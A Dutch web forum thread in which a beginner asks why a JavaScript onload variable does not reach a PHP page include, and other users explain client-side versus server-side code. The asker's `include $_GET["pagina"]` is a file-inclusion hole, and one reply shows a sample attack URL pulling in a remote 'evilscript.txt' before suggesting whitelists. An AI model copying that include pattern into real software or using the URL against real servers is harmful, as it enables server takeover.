Toon posts:

[JS] onload probleem

Pagina: 1
Acties:

Verwijderd

Topicstarter
Ik heb even een zetje nodig.

dit staat in mijn head om de eerste keer de variabele "pagina" te vullen:
code:
1
2
3
4
5
<script type="text/javascript">
window.onload = function () {
    var pagina="nieuws.htm"
}
</script>


Dit is een menuknop:
code:
1
<a href="index_1280.php?pagina=startpagina.htm" onMouseOver="MM_swapImage('home','','menu/home_f2.gif',1)" onMouseOut="MM_swapImgRestore()">[img]"menu/home.gif"[/img]</a>


en hier moet de juiste pagina geladen worden:
code:
1
2
3
<?php
include $_GET["pagina"];
?>


Echter bij het eerste keer laden van de pagina vult ie dus niet de variabele "pagina". Wat klopt er niet?

  • LegacyCode
  • Registratie: Maart 2002
  • Laatst online: 29-04 20:07

LegacyCode

De crack van de division

Die javascript variabele heeft geen invloed op dat stukje PHP code.
Javascript is client zelf, is dus op de pc die je pagina laadt.
En php is server-side, het toestel dat de pagina doorstuurt naar de client.
Dat stukje PHP code haalt de waarde van pagina uit de querystring van de url.
Ik veronderstel dat je met dat stuk javascript ervoor wilt zorgen dat pagina nieuws.htm
te voorschijn komt.
Probeer dan eens als volgt:
code:
1
document.location = "index_1280.php?pagina=nieuws.htm";

[ Voor 18% gewijzigd door LegacyCode op 02-05-2005 19:15 ]

legacycode.net


  • coubertin119
  • Registratie: Augustus 2002
  • Laatst online: 29-04 17:12
Je zet een variabele in Javascript, terwijl je een GET nodig hebt. Dus je moet op de pagina waarbij nog geen GET-variabele is ervoor zorgen dat die er komt of ervoor zorgen dat je systeem zonder die variabele ook werkt, veel wegen leiden dan naar Rome. Je kan refreshen of je systeem herschrijven.

Maar waarom zo'n onveilig systeem


/spuit 11. What he says dus :).

[ Voor 7% gewijzigd door coubertin119 op 02-05-2005 19:16 ]

Skat! Skat! Skat!


Verwijderd

Topicstarter
Hmmm hoezo onveilig? Tja netjes vind ik het allemaal niet maar ik zie niet in dat het onveilig is.

  • Borizz
  • Registratie: Maart 2005
  • Laatst online: 02-01 15:55
Verwijderd schreef op maandag 02 mei 2005 @ 19:22:
Hmmm hoezo onveilig? Tja netjes vind ik het allemaal niet maar ik zie niet in dat het onveilig is.
Nou het is nogal onveilig, ik zou zo een parameter pagina aan jou pagina door kunnen geven, zodat mijn script geinclude wordt en heel je server op zen kop zetten daarmee.

Voorbeeld:
code:
1
index.php?pagina=http://www.somesite.nl/evilscript.txt

If I can't fix it, it ain't broken.


Verwijderd

Topicstarter
Das duidelijk. Maar is er een andere manier waarmee ik mijn ge-include pagina's kan behouden?

  • coubertin119
  • Registratie: Augustus 2002
  • Laatst online: 29-04 17:12
Door een systeem op te zetten waarbij je niet in de GET-parameter de te laden pagina zet, je kan bijvoorbeeld de toegelaten pagina's dmv een .htaccess van een fancy URL voorzien én alle andere gaten in je beveiliging dichtgooien. Of je kan in je script alle te bekijken bestanden hardcoded zetten en een check voorzien. Of... Eindeloze mogelijkheden :).

Skat! Skat! Skat!

Pagina: 1